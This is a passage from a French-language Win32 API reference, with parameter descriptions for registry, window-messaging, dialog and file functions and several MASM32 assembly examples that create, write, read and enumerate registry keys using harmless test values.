avec l'accès KEY_SET_VALUE. Employez la fonction RegCreateKeyEx ou RegOpenKeyEx pour ouvrir
la clef.

Si le paramètre fdwType est REG_SZ, REG_MULTI_SZ, ou REG_EXPAND_SZ et que c'est la version
ANSI de cette fonction qui est employée (ou bien en appelant explicitement RegSetValueExA
ou bien en ne définissant pas le mode UNICODE dans l'inclusion Windows.h), alors lpbData ne
doit pas être une chaîne de caractères ANSI. La chaîne de caractères est convertie en
UNICODE avant qu'elle ne soit écrite dans la Base des Registres.

La fonction RegSetValueEx peut être employée soit comme fonction de caractères larges (où
les arguments de texte doivent employer l'Unicode) soit en tant que fonction ANSI (où les
arguments de texte doivent employer des caractères du jeu de Windows 3.x).

RegCloseKey (Win32)

LONG RegCloseKey(hkey)

HKEY hkey;	/* handle de la clef à fermer */

La fonction RegCloseKey ferme le handle de la clef.

Paramètre 	 Description

hkey 	 	 Identifie la clef ouverte qu'on doit refermer.

Retours

La valeur de retour est ERROR_SUCCESS si la fonction est couronnée de succès. Autrement, c'est
une valeur d'erreur.

Commentaires

Le handle de la clef  qu'on referme ne doit plus être utilisé après qu'il ait été fermé, parce
qu'il n'est plus valide. Quelque soient les clefs, leurs Handles ne doivent pas rester ouvertes
plus longtemps que nécessaire.

Exemple:

Voici un exemple complet car il y a deux ou trois petits pièges à ne pas commettre et qui ne
sont pas apparents dans les références API.

include \masm32\include\advapi32.inc
includelib \masm32\lib\advapi32.lib ;<-- Pensez à déclarer cette dll puisque toutes ces APIs en font parti

.data
Sous_Clef db "Software\Microsoft\Windows\CurrentVersion",0 ;<-- pour RegOpenKeyEx
Valeur db "RegisteredOwner",0 ;<-- Idem
Donnee_Ecrire db "Votre Nom",0 ;<-- Pour RegSetKeyEx
Donnee_Lire db 50 dup(0),0 ;<-- Pour RegQueryValueEX
Taille_Donnee dd 80 ;<-- Idem

.data?
pHKey HANDLE ? <-- Pour toutes les fonctions Reg...

.code
start:

invoke RegOpenKeyEx, HKEY_LOCAL_MACHINE, \
               offset Sous_Clef, \
            NULL, \
            KEY_ALL_ACCESS, \
            offset pHKey	<-- Attention on met 'OFFSET' pour aller chercher ce handle non-initialisé
                        dans les .DATA?

invoke RegSetValueEx, pHKey, \ ;<-- pas de 'OFFSET' ici car pHkey remplace maintenant la clef HKEY_LOCAL_MACHINE
               addr Valeur, \
            NULL, \
            REG_SZ, \
            addr Donnee_Ecrire, \
            sizeof Donnee_Ecrire ;<-- Attention à bien mettre 'SIZEOF' et non pas 'SIZE'

invoke RegQueryValueEx, pHKey, \  ;<-- Idem, pas d' 'OFFSET'
               addr Valeur, \
            NULL, \
            NULL, \ ;<-- 0 comme ça le type est indéterminé et on peut aussi bien récupérer un texte
            addr Donnee_Lire, \					;qu'un chiffre.
            addr Taille_Donnee

invoke RegCloseKey, pHKey ;<-- Idem, pas d' 'OFFSET'

UN AUTRE EXEMPLE AVEC RegCreateKeyExA... (Plus complet).

.386
.model flat,stdcall
option casemap:none

include \masm32\include\windows.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib

include \masm32\include\advapi32.inc ;<-- Registres
includelib \masm32\lib\advapi32.lib

.data
OkOkCreate db "C'est Ok pour Create",0
OkOkQuery db "C'est Ok pour Query",0
OkOkSet db "C'est Ok pour Set",0

ClassClef db "ClassClef",0			  		 ;
Sous_Clef db "Software\Microsoft\Windows\CurrentVersion",0	 ; Pour RegCreateKeyEx
reg dw 80 	 						 ;
Donnee_Lire db 50 dup(0),0
Taille_Donne_Lire dd 80
Valeur_Clef db "Mon texte",0				; Pour RegQueryKeyEx et RegSetValueEx
Donnee_Ecrire db "RegSet a bien ecrit et RegQuery a bien Lu.",0		; Pour RegSetValueEx

.data?
pHKey HANDLE ?							 ; Pour les quatre Reg...

; HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\[Mon texte]=(RegSet a bien ecrit et RegQuery a bien Lu.)

.code
start:

invoke RegCreateKeyEx, 	HKEY_LOCAL_MACHINE, \
               offset Sous_Clef, \
            NULL, \
            NULL, \			;offset ClassClef, \
            REG_OPTION_NON_VOLATILE, \
            KEY_ALL_ACCESS, \
            NULL, \
            offset pHKey, \
            offset reg	;REG_OPENED_EXISTING_KEY

.if eax==ERROR_SUCCESS
    invoke MessageBoxA, 0, offset OkOkCreate, offset OkOkCreate, 0
.endif

invoke RegSetValueEx, pHKey, \
               addr Valeur_Clef, \
            NULL, \
            REG_SZ, \
            addr Donnee_Ecrire, \
            sizeof Donnee_Ecrire

.if eax==ERROR_SUCCESS
    invoke MessageBoxA, 0, offset OkOkSet, offset OkOkSet, 0
.endif

mov Taille_Donne_Lire, 500h		; <-- Important car sinon dans une boucle si il arrive à 0 le prochain RegQueryValueEx echouera
invoke RegQueryValueEx, pHKey, \
            offset Valeur_Clef, \
            NULL, \
            NULL , \
            addr Donnee_Lire, \
            addr Taille_Donne_Lire

.if eax==ERROR_SUCCESS
    invoke MessageBoxA, 0, offset Donnee_Lire, offset OkOkQuery, 0
.endif

invoke RegCloseKey, pHKey
xor eax,eax
invoke ExitProcess,eax

end start

Nouvel exemple : avec une valeur de type DWORD

.386
.model flat,stdcall
option casemap:none

include \masm32\include\windows.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib

include \masm32\include\advapi32.inc ;<-- Registres
includelib \masm32\lib\advapi32.lib

.data
OkOkCreate		db "C'est Ok pour Create",0
OkOkQuery		db "C'est Ok pour Query",0
OkOkSet			db "C'est Ok pour Set",0

ClassClef		db "ClassClef",0
Sous_Clef		db "Software\Microsoft\Windows\CurrentVersion",0	; Pour RegCreateKeyEx
reg			dw 80
Donnee_Lire		dd 0;  -- ou bien : Donnee_Lire	db 50 dup(0),0 --
DWordSize 		dd 4
TypeDeDonnee		dd REG_DWORD
Valeur_Clef		db "Mon Nombre",0			; Pour RegQueryKeyEx et RegSetValueEx
erreur			db "ERREUR !!!",0
FormatHexa		db "%lx",0

.data?
pHKey 			HANDLE ?					; Pour les quatre Reg...
Ecrire_Dword		dd ?						; RegSetValueEx
Buffer			BYTE 50 DUP (?)

; HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\[Mon Nombre]=(0*1234CDEFh)

.code
start:

invoke RegCreateKeyEx, 	HKEY_LOCAL_MACHINE, \
               offset Sous_Clef, \
            NULL, \
            NULL, \
            REG_OPTION_NON_VOLATILE, \
            KEY_ALL_ACCESS, \
            NULL, \
            offset pHKey, \
            offset reg

.if eax==ERROR_SUCCESS
    invoke MessageBoxA, 0, offset OkOkCreate, offset OkOkCreate, 0
.endif

mov Ecrire_Dword, 01234CDEFh
invoke RegSetValueEx,	pHKey, \
               addr Valeur_Clef, \
            NULL, \
            REG_DWORD, \
            offset Ecrire_Dword, \
            4

.if eax==ERROR_SUCCESS
    invoke MessageBoxA, 0, offset OkOkSet, offset OkOkSet, 0
.endif

mov DWordSize, 4
invoke RegQueryValueEx, pHKey, \
            offset Valeur_Clef, \
            NULL, \
            addr TypeDeDonnee, \
            addr Donnee_Lire, \
            addr DWordSize

mov ebx, eax
mov eax, dword ptr [Donnee_Lire]
.if ebx==ERROR_SUCCESS
    invoke wsprintf, addr Buffer, addr FormatHexa, eax
    invoke MessageBoxA, 0, offset Buffer, offset OkOkQuery, 0
.else
    invoke MessageBoxA, 0, offset erreur, offset erreur, 0
.endif

invoke RegCloseKey, pHKey
xor eax,eax
invoke ExitProcess,eax

end start

Alors là je pense qu'il est impératif de décortiquer certains points pécis sur la fonction RegQueryValueEx en association avec le Flag REG_DWORD.

Regardons :

- Le 4e paramètre :
Sa fonction est de déterminer le type de donnée utilisée. Pour la fonction RegSetValueEx on met le Flag REG_DWORD, alors que pour notre fonction RegQueryValueEx on met addr TypeDeDonnee (avec : TypeDeDonnee equ REG_DWORD). C'est vraiment la merde... Parce que ça équivaut à :
RegSetValueEx --> REG_DWORD
RegQueryValueEx --> addr REG_DWORD

- Le 6e paramètre (le dernier):
Sa fonction est de déterminer la taille de la donnée. Puisque la donnée est un DWORD, Pour la fonction RegSetValueEx on met 4, alors que pour notre fonction RegQueryValueEx on met addr DWordSize (avec : DWordSize equ 4)
RegSetValueEx --> DWordSize (équivaut à 4)
RegQueryValueEx --> addr DWordSize (équivaut à addr 4)

Vous voyez, RegSetValueEx se sert directement des valeurs alors que RegQueryValueEx se sert des Adresses où trouver ces valeurs. Et ça d'une part c'est vraiment pas habile de leur part mais surtout c'est mal expliqué dans la reférence Microsoft.

Morgatte@CiteWeb.net


RegEnumKeyEx

Voir l'exemple

LONG RegEnumKeyEx(

    HKEY hKey,			// handle de la Clef dont on va énumérer ses sous-clefs
    DWORD dwIndex,		// index de la sous-clef énumérée
    LPTSTR lpName,		// adresse du buffer qui va recevoir le nom de la sous-clef
    LPDWORD lpcbName,		// adresse du buffer qui va recevoir sa taille (en nb caract)
    LPDWORD lpReserved,		// réservé (NULL)
    LPTSTR lpClass,		// adresse du buffer qui recevra le nom de Class de la sous-clef
    LPDWORD lpcbClass,		// adresse du buffer contenant la taille de la Class
    PFILETIME lpftLastWriteTime	// adresse du temps de dernière écriture la Sous-Clef.
);

La fonction RegEnumKeyEx, retrouve les noms des différents sous-dessiers pour un dossier
parent de la Base des Regitres.

Paramètres :

hKey

Représente la clé courante étant ouverte ou bien un des handles prédéfinits suivant :

HKEY_CLASSES_ROOT
HKEY_CURRENT_USER
HKEY_LOCAL_MACHINE
HKEY_USERS

dwIndex

Est un numéro qui représente l'index de la sous-clé à retrouver. Ce paramètre peut être 0 la première fois qu'on appelle notre fonction RegEnumKeyEx puis ensuite on l'incrémente pour chaque call successif.

Du fait que les sous-clefs n'ont pas d'ordre, aucune nouvelle sous-clé n'aura un index particulier. Ca signifie que la fonction peut returner ses sous-clefs dans n'importe quel ordre.

lpName

Pointe sur un buffer qui va recevoir le nom de la Sous-Clef, ça inclue le caractère null de terminaison. Cettefonction recopie seulement le nom de la Sous-Clef et non pas son chemin en entier.

lpcbName

Pointe sur une variable qui représente la taille, en caractères, du buffer lpName. Cette taille inclue le null de terminaison. Lorsque la fonction returne, la variable pointe sur lpcbName qui contient le nombre de caractères recopiés dans le buffer. Ce nombre returné n'inclue pas le caractère null de terminaison.

lpReserved

Réservé; doit être NULL.

lpClass

Pointe sur un buffer qui va recevoir le nom de Class de la Clef énuméré. Ce paramètre peut être NULL si la Class n'est pas requise.

lpcbClass

Pointe sur une variable qui représente la taille, en nb de caractères, du buffer lpClass. Cette taille inclue le caractère nul de terminaison. Lorsque la fonction retourne, lpcbClass contient le nombre de caractères effectivement recopiés dans le buffer. Ca n'inclu pas le caractère nul de terminaison. Ce paramètre peut être NULL uniquement si if lpClass est NULL.

lpftLastWriteTime

Pointe sur une variable qui va recevoir la date (le temps) de dernière écriture de la Sous-Clef énumérée.

Valeur Retournée :

Si la fonction aboutie, la valeur en retour est ERROR_SUCCESS.
Si la fonction échoue, la valeur en retour est non-nulle et son code est definit dans WINERROR.H. Vous pouvez alors utiliser la fonction FormatMessage avec le Flag FORMAT_MESSAGE_FROM_SYSTEM pour obtenir une description générique de l'erreur.

Remarques

Pour énumérer la totalité de ses Sous-Clef, l'application peut initialement appeler la fonction RegEnumKeyEx en mettant le paramètre dwIndex à zero. Puis ensuite, l'application peut alors incrémenter le paramètre dwIndex et ainsi rappeler la fonction RegEnumKeyEx en boucle jusqu'à ce qu'il n'y ait plus de Sous-Clefs (Jusqu'à ce que la fonction returne ERROR_NO_MORE_ITEMS).
L'application peut aussi mettre dwIndex à l'index de la dernière Sous-clef en appelant d'abord la fonction RegQueryInfoKey et ensuite décrémenter l'index jusqu'à 0.

Durant le temps où l'application utilise la fonction RegEnumKeyEx, on ne doit pas faire appel à d'autres fonctions concernant lea Base Des Registres car risquerait de modifier la Clef (parente) pour laquelle on est justement en train d'énumérer ses Sous-Clefs.
La Clef identifiée par hKey DOIT être ouverte avec l'accès KEY_ENUMERATE_SUB_KEYS (l'accès KEY_READ inclu lui-même l'accès KEY_ENUMERATE_SUB_KEYS). Utilisez la fonction RegCreateKeyEx ou la fonction RegOpenKeyEx pour ouvrir cette Clef.

Voir Aussi :

RegCreateKeyEx, RegDeleteKey, RegEnumKey, RegOpenKeyEx, RegQueryInfoKey

Exemple d'utilisation de RegEnumKeyEx :

.386
.model flat,stdcall
option casemap:none

include \masm32\include\windows.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib

include \masm32\include\advapi32.inc ;<-- Registres
includelib \masm32\lib\advapi32.lib

.data
Sous_Clef		db "Software\Microsoft\Windows\CurrentVersion",0	; Pour RegCreateKeyEx
reg			dw 80
Valeur_Clef		db "Mon Nombre",0			; Pour RegEnumKeyEx
index			dd 0

.data?
pHKey 			HANDLE ?
subkeyBuffer		BYTE 50 DUP (?)
subkeySize		dd ?
LastWriteTime		BYTE 50 DUP (?)
;Class			BYTE 20 DUP(?)			; je ne m'en sert pas.
;ClassSize		dd ?

.code
start:

invoke RegCreateKeyEx, 	HKEY_LOCAL_MACHINE, \
               offset Sous_Clef, \
            NULL, \
            NULL, \
            REG_OPTION_NON_VOLATILE, \
            KEY_ALL_ACCESS, \
            NULL, \
            offset pHKey, \
            offset reg

mov index, 0
xor eax, eax
.while eax != ERROR_NO_MORE_ITEMS
    mov subkeySize, sizeof subkeyBuffer
    invoke RegEnumKeyEx,	pHKey, \
                index, \			; numéro de la sous-clef
                offset subkeyBuffer, \		; reçoit le nom de la sous-clef
                offset subkeySize, \		; reçoit le nombre de caractères
                NULL, \				; Réservé
                NULL, \				; ou la classe de la sous-clé
                NULL, \				; nb de caractère du nom de la classe
                offset LastWriteTime		; dernière écriture

    .if eax == ERROR_SUCCESS
        invoke MessageBox, 0, offset subkeyBuffer, offset subkeyBuffer, 0
        ;invoke MessageBox, 0, offset LastWriteTime, offset LastWriteTime, 0
    .endif
    inc index
.endw

invoke RegCloseKey, pHKey
xor eax,eax
invoke ExitProcess,eax

end start


RegisterClassEx

La fonction RegisterClassEx enregistre la 'window class' pour pouvoir l'utiliser par la suite avec la fonction CreateWindow ou CreateWindowEX.

ATOM RegisterClassEx (
CONST WNDCLASSEX *lpwcx // adresse de la structure avec la Class Data
);

Paramètres

lpwcx

Pointe sur la structure WNDCLASSEX. Vous devez remplir la structure avec les attributs de class appropriés avant de la passer à la fonction CreateWindow.

Valeurs de Retour

Si la fonction réussit, la valeur en retour est un atom qui identifie uniquement la RegisterClass.
Si la fonction échoue, la valeur en retour est zéro. Pour obtenir l'information d'erreur étendue, appelez GetLastError.

Remarques

Toutes les Window Class qu'une application enregistre ne sont en réalité pas toutes enregistrées quand elle se termine.
Windows 95 : RegisterClassEx échoue si les membres cbWndExtra ou cbClsExtra de la structure WNDCLASSEX contiennent plus de 40 octets.


RegQueryInfoKey

.386
.model flat,stdcall
option casemap:none

include \masm32\include\windows.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib

include \masm32\include\advapi32.inc ;<-- Registres
includelib \masm32\lib\advapi32.lib

.data
Sous_Clef		db "Software\Microsoft\Windows\CurrentVersion",0	; Pour RegCreateKeyEx
reg			dd 0

Titre			db "Résultats :",0
Resultats		db "- %li déci : Nombre de Sous-Clefs", 0dh,0ah
            db "- %li déci : Plus grand nom de Sous-Clef", 0dh,0ah
            db "- %li déci : Plus grande Sous-Classe",0dh,0ah
            db "- %li déci : Nb de Valeurs",0dh,0ah
            db "- %li déci : Plus grand Nom de Valeur",0dh,0ah
            db "- %li déci : Plus grande Valeur",0dh,0ah
            db "- %lx hexa : taille du descripteur de sécurité",0

.data?
pHKey 			HANDLE ?
;LastWriteTime		FILETIME <?>	; je m'en sert pas parce que je suis sous Win95
nbSubKeys		dd ?
MaxSubKeyLen		dd ?
MaxClassLen		dd ?
nbValues		dd ?
MaxValueNameLen		dd ?
MaxValueLen		dd ?
SecurityDescriptor	dd ?

Buffer			db 512 dup (?)

.code
start:

invoke RegCreateKeyEx, 	HKEY_LOCAL_MACHINE, \
               offset Sous_Clef, \
            NULL, \
            NULL, \
            REG_OPTION_NON_VOLATILE, \
            KEY_ALL_ACCESS, \
            NULL, \
            offset pHKey, \
            offset reg

invoke RegQueryInfoKey,	pHKey			, \
        NULL				, \
        NULL				, \
        NULL				, \
        offset nbSubKeys		, \
        offset MaxSubKeyLen		, \
        offset MaxClassLen		, \
        offset nbValues			, \
        offset MaxValueNameLen		, \
        offset MaxValueLen		, \
        offset SecurityDescriptor	, \
        NULL

invoke RegCloseKey, pHKey

;--------------- Affiche des Résultats ------------
invoke wsprintf, addr Buffer, addr Resultats	, \
            nbSubKeys		, \
            MaxSubKeyLen		, \
            MaxClassLen		, \
            nbValues		, \
            MaxValueNameLen		, \
            MaxValueLen

invoke MessageBox, 0, addr Buffer, addr Titre, 0
;--------------------------------------------------

xor eax,eax
invoke ExitProcess,eax

end start


RemoveMenu (Win32)

BOOL RemoveMenu(hmenu, uItem, fuFlags)

HMENU hmenu;	/* handle du menu */
UINT uItem;	/* n°ID ou position de l'Item */
UINT fuFlags;	/* flags de l'Item */

La fonction RemoveMenu supprime un item du menu. Si l'item appartient à un menu-popup, RemoveMenu ne détruit ni le menu-popup ni son handle, ce qui permet de réutiliser ce menu. Avant le Call de cette fonction, l'application doit appeler la fonction GetSubMenu pour retrouver le handle du menu-popup.

Paramètre Description

hmenu Identifie le menu.
uItem Identifie l'item qui doit être supprimé, l'interprétation de ce paramètre dépend du paramètre fuFlags.
fuFlags Spécifie la manière dont est interprété le paramètre uItem. Ce paramètre peut être une des valeurs suivantes :

Valeur Signification

MF_BYCOMMAND Le paramètre uItem représente le n°ID de l'item.
MF_BYPOSITION Le paramètre uItem représente la position zéro-basée relative de cet item.

Retours

La valeur en retour est TRUE si la fonction est couronnée de succès ou FALSE si une erreur s'est produite. Pour obtenir l'information à propos de l'erreur étendue, utilisez la fonction GetLastError.

Commentaires

Chaque fois qu'un changement intervient dans un menu (Ce n'est valable que si le menu est déjà affiché dans une fenêtre), l'application doit appeler la fonction DrawMenuBar pour rafraîchir ce menu.

Voir Aussi

CreatePopupMenu, DeleteMenu, DrawMenuBar, GetSubMenu


ReplaceText (Win32)

HWND ReplaceText(lpfr)

LPFINDREPLACE lpfr;	/* pointe sur la structure contenant les données d'initialisation */
La fonction ReplaceText crée une DialogBox prédéfinie par le système, laquelle permet à l'utilisateur de re trouver puis de remplacer un bout de texte dans un document. L'application doit retrouver le texte exacte et le remplacer.

Paramètre 	 Description

lpfr 	 	 Pointe sur la structure FINDREPLACE, laquelle contient les informations utiles
         pour initialiser la DialogBox. Une fois que l'utilisateur a écrit ses deux
         chaînes de caractères ()trouver et Remplacer) dans la DialogBox, le système
         remplit cette structure avec les informations du choix de l'utilisateur et
         envoie ensuite un message à l'application. Ce message contient un pointer
         sur la structure FINDREPLACE.

Retours
La valeur en retour est le Handle de la DialogBox, ou bien c'est un NULL si une erreur s'est produite. L'application peut utiliser ce handle pour communiquer avec cette Box ou bien pour la refermer.

Erreurs

Utilisez la fonction CommDlgExtendedError pour retrouver la valeur de l'erreur, qui peut être une des suivantes :

CDERR_FINDRESFAILURE
CDERR_INITIALIZATION
CDERR_LOADRESFAILURE
CDERR_LOADSTRFAILURE
CDERR_LOCKRESFAILURE
CDERR_MEMALLOCFAILURE
CDERR_MEMLOCKFAILURE
CDERR_NOHINSTANCE
CDERR_NOHOOK
CDERR_NOTEMPLATE
CDERR_STRUCTSIZE
FRERR_BUFFERLENGTHZERO

Commentaires

La procédure de la DialogBox de cette fonction 'ReplaceText' passe les demandes de l'utilisateur à l'application en se servant de messages spéciaux. Le paramètre lParam de chacun de ces messages contient un Pointer sur la structure FINDREPLACE. La procédure envoie les messages à la fenêtre identifiée par le membre hwndOwner de la structure FINDREPLACE. L'application peut enregistrer le n°ID de ces messages en indiquant la chaîne de caractères de la 'Common DialogBox FINDREPLACE' en appelant la fonction RegisterWindowMessage.

Pour que la touche TAB fonctionne correctement, n'importe quelle application appelant la fonction FindText doit également appeler la fonction IsDialogMessage dans sa boucle de messages principale. (La fonction IsDialogMessage retourne une valeur qui indique si les messages sont destinés à la boîte de dialogue FINDREPLACE.)


SendDlgItemMessage (Win32)

LONG SendDlgItemMessage(hwndDlg, idDlgItem, uMsg, wParam, lParam)

HWND hwndDlg;	/* handle de la DialogBox */
int idDlgItem;	/* identificateur de l'Item de la DialogBox */
UINT uMsg;	/* message à envoyer */
WPARAM wParam;	/* premier paramètre associé à ce message */
LPARAM lParam;	/* second paramètre associé à ce message */
La fonction SendDlgItemMessage envoie un message à l'Item indiqué de la DialogBox donnée.
(Attention Le terme 'ITEM' est ambigu, il faut ici comprendre 'Control'. Ce qui signifie que ça peut aussi bien être un Bouton qu'une zone de saisie de texte (un Edit Control).

Paramètre 	 Description

hwndDlg 	 Identifie la DialogBox qui contient l'item (le Control).
idDlgItem 	 n°ID de l'Item (du Control) qui recevra le message.
uMsg 	 	 Est le message à envoyer.
wParam 	 	 information complémentaire (elle dépend du message).
lParam		 information complémentaire (elle dépend du message).

Retours

La valeur en retour n'est autre que le résultat du traitement du message et dépend du message
envoyé.

Commentaires
La fonction SendDlgItemMessage ne retourne pas avant que le message n'ait été traité.
L'utilisation de SendDlgItemMessage est identique au fait de retrouver le handle du Control de la DialogBox donnée et d'appeler la fonction SendMessage.

Voir Aussi

SendMessage


SendMessage (Win32)

LRESULT SendMessage(hwnd, uMsg, wParam, lParam)

HWND hwnd;	/* handle de la fenêtre de destination */
UINT uMsg;	/* message à envoyer */
WPARAM wParam;	/* premier paramètre complémentaire associé au message */
LPARAM lParam;	/* second paramètre complémentaire associé au message */
La fonction SendMessage envoie le message indiqué à une ou plusieurs fenêtres données. Cette fonction appelle la procédure de fenêtre de la fenêtre donnée et ne retourne pas avant que la procédure de fenêtre n'ait traité le message. C'est par contraste avec la fonction Post-message, qui poste un message dans la file d'attente des messages d'un lien et retourne immédiatement.

Paramètre 	 Description

hwnd 	 	 Identifie la fenêtre dont la procédure de fenêtre recevra le message. Si ce
         paramètre est HWND_TOPMOST, le message est envoyé à toutes les fenêtres de
         plus haut niveau (du système), ça inclut aussi les fenêtres non actives ou
         invisibles à l'écran.
uMsg		 Contient le message à envoyer.
wParam	 	 information complémentaire (elle dépend du message).
lParam 	 	 information complémentaire (elle dépend du message).

Retours

La valeur en retour n'est autre que le résultat du traitement du message et dépend du message
envoyé.

Commentaires
Si la fenêtre donnée a été créée par le lien appelant, la procédure de fenêtre est appelée immédiatement en tant que sous-routine. Si la fenêtre donnée a été créée par un lien différent, Windows commute ce lien et appelle la procédure de fenêtre appropriée.

Voir Aussi

InSendMessage, Post-message, SendDlgItemMessage


SendNotifyMessage (Win32)

BOOL SendNotifyMessage(hwnd, uMsg, wParam, lParam)

HWND hwnd;	/* handle de la fenêtre de destination */
UINT uMsg;	/* message à envoyer */
WPARAM wParam;	/* premier paramètre associé à ce message */
LPARAM lParam;	/* second paramètre associé à ce message */
La fonction SendNotifyMessage envoie le message indiqué à la fenêtre donnée. Si la fenêtre a été créée par le lien appelant, SendNotifyMessage appelle la procédure de fenêtre de la fenêtre et ne retourne pas avant que la procédure de fenêtre n'ait traité le message. Si la fenêtre a été créée par un lien différent, SendNotifyMessage passe le message à la procédure de fenêtre et retourne immédiatement; elle n'attend pas la procédure de fenêtre ait fini de traiter le message.

Paramètre 	 Description

hwnd		 Identifie la fenêtre dont la procédure de fenêtre recevra le message.
uMsg		 Contient le message à envoyer.
wParam	 	 information complémentaire (elle dépend du message).
LParam	 	 information complémentaire (elle dépend du message).

Retours
La valeur en retour est TRUE si la fonction est couronnée de succès ou FALSE si une erreur s'est produite. Pour obtenir des informations à propos de l'erreur étendue, utilisez la fonction GetLastError.

Voir Aussi

Post-message, PostThreadMessage, SendMessage


SetDlgItemInt (Win32)

BOOL SetDlgItemInt(hwndDlg, idControl, uValue, fSigned)

HWND hwndDlg;	/* handle de la DialogBox */
int idControl;	/* n°ID du Control */
UINT uValue;	/* valeur à poser */
BOOL fSigned;	/* indique si on utilise un nb signé ou non-signé */
La fonction SetDlgItemInt place du texte(qui ici ne peut être qu'un nombre) dans un Control appartenant à la DialogBox. Ce texte (cette chaîne de caractères) à d'abord été converti car c'est un nombre entier qui est à l'origine dans le paramètre uValue.

Paramètre 	 Description

hwndDlg 	 Identifie la DialogBox qui contient le Control.
idControl 	 Indique le Control qui reçoit ce texte (genre 1234 mais soit format caractères).
uValue 	 	 Est la valeur (le nombre) qui a été utilisée pour produire ce texte.
fSigned 	 Indique si le paramètre uValue est signé ou non signé (négatif ou non). Si ce
         paramètre est TRUE, uValue est signé (-1 ou +1). Si ce paramètre est TRUE et
         que uValue est négatif, alors le signe '-' est placé devant le premier
         chiffre de la chaîne de caractères. Si ce paramètre est FALSE, alors uValue
         est non signé (strictement positif).

Retours

La valeur en retour est TRUE si la fonction est couronnée de succès, ou FALSE si une erreur
s'est produite. Utilisez la fonction GetLastError pour obtenir des informations à propos de
l'erreur étendue.

Voir Aussi

GetDlgItemInt, SetDlgItemText


SetDlgItemText (Win32)

BOOL SetDlgItemText(hwndDlg, idControl, lpsz)

HWND hwndDlg;	/* handle de la DialogBox */
int idControl;	/* n°ID du control */
LPCTSTR lpsz;	/* texte à déposer(placer) */

La fonction SetDlgItemText place le titre(pour une fenêtre) ou du texte dans un Control d'une
DialogBox.

Paramètre 	 Description

hwndDlg 	 Identifie la DialogBox qui contient le Control.
idControl 	 Identifie le Control qui doit revoir ce texte.
lpsz 	 	 Pointe sur une chaîne de caractères terminée par un nul, laquelle est le texte
         à recopier dans le Control.

Retours
La valeur de retour est TRUE si la fonction est couronnée de succès, ou FALSE si une erreur s'est produite. Utilisez la fonction GetLastError pour obtenir des informations à propos de l'erreur étendue.

Commentaires

La fonction SetDlgItemText envoie un message WM_SETTEXT au Control ciblé.

La fonction SetDlgItemText peut être utilisée soit en tant que fonction à caractères larges (où les arguments de texte doivent employer l'Unicode) soit en tant que fonction ANSI (où les arguments de texte doivent employer le jeu de caractères de Windows 3.x).

Voir Aussi

GetDlgItemText, GetDlgItemInt, SetDlgItemInt


SetFilePointer (Win32)

DWORD SetFilePointer(hFile, lDistanceToMove, plDistanceToMoveHigh, dwMoveMethod)

HANDLE hFile;			/* handle du fichier */
LONG lDistanceToMove;		/* nombre de bytes de déplacement du pointer dans le fichier */
PLONG plDistanceToMoveHigh;	/* idem mais pour un déplacement supérieur */
DWORD dwMoveMethod;		/* point de référence du déplacement */
La fonction SetFilePointer déplace le Pointer (de lecture écriture) à l'intérieur d'un fichier ouvert.

Paramètre 	 	 Description

hFile 	 	 	 Identifie le fichier dont le pointer doit être déplacé. Le Handle de
             ce fichier a dû être créé avec l'accès de fichier GENERIC_READ ou
             GENERIC_WRITE.
lDistanceToMove 	 Représente le nombre d'octets (de bytes) dont sera déplacé le
             pointer à l'intérieur du fichier. Une valeur positive déplace le
             pointer vers la fin du fichier et une valeur négative le déplace
             vers le début du fichier.
plDistanceToMoveHigh 	 Est un paramètre facultatif, qui si il est spécifié sert à déplacer
             le pointer comme le fait le paramètre lDistanceToMove précédent, mais
             sur une distance plus grande. Cette valeur représente les 32 bits de
             poids fort du binôme (plDistanceToMoveHigh : lDistanceToMove) qui
             offre dont un déplacement de 64 bits au total. Si la valeur de ce
             paramètre est NULL, la fonction ne pourra que fonctionner sur des
             fichiers dont la taille maximale est (2^32)-2 bits. Alors que si ce
             paramètre est spécifié, alors la taille maximale du fichier pourra
             être de (2^64)-2 bits. Cette valeur retourne également les 32 bits de
             poids forts de la nouvelle valeur du pointer. Si cette valeur et la
             valeur de en retour sont égales à -1 (0xFFFFFFFF), alors une erreur
             se produit.
dwMoveMethod		 Spécifie le point de référence de départ du déplacement du pointer.

              Valeur 	 Signification

              FILE_BEGIN 	 Le point de départ est le début du fichier. Si
                      FILE_BEGIN est spécifié, alors DistanceToMove est
                     interprété comme un déplacement positif du pointer.
              FILE_CURRENT 	 La valeur actuelle du pointer du fichier est
                      utilisée comme référence.
              FILE_END 	 La position de fin de fichier est utilisée comme
                      référence.

Retours
Si la fonction est couronnée de succès, la valeur en retour (eax) contient les 32 bits de poids faible du nouveau Pointer du fichier, et lpDistanceToMoveHigh contient les 32 bits de poids forts du nouveau Pointer du fichier.
Si la fonction échoue, la valeur de retour est-1 (0xFFFFFFFF) et lpDistanceToMoveHigh est NULL. Utilisez la fonction GetLastError pour obtenir les informations à propos de l'erreur étendue.

Commentaires

L'utilisation de cette fonction avec le handle d'un Device comme un 'Pipe' ou bien un dispositif de communications n'a aucune signification. Utilisez la fonction GetFileType pour déterminer le type de fichier (hFile).

Une application multi-liens doit prendre beaucoup de précautions lorsqu'il déplace le pointer. Par exemple, une application dont ses liens se partagent le Handle d'un même fichier, qui met à jour le pointer du fichier et qui lit le fichier, doit protéger cet séquence en utilisant un objet 'Section Critique' ou un objet 'Mutex'.


SetFileTime (Win32)

BOOL SetFileTime(hFile, lpftCreation, lpftLastAccess, lpftLastWrite)

HANDLE hFile;			/* identifie le fichier */
LPFILETIME lpftCreation;	/* Temps (date) de création du fichier */
LPFILETIME lpftLastAccess;	/* Temps (date) de dernier accès au fichier */
LPFILETIME lpftLastWrite;	/* Temps (date) de dernier modification du fichier */

La fonction SetFileTime écrit la date et l'heure à laquelle on a créé ,eu accès, ou modifié pour la dernière fois ce fichier.
Paramètre 	 Description

hFile 	 	 Est le Handle d'un fichier ouvert. Ce handle a dû être créé avec GENERIC_WRITE
         pour accéder au fichier.
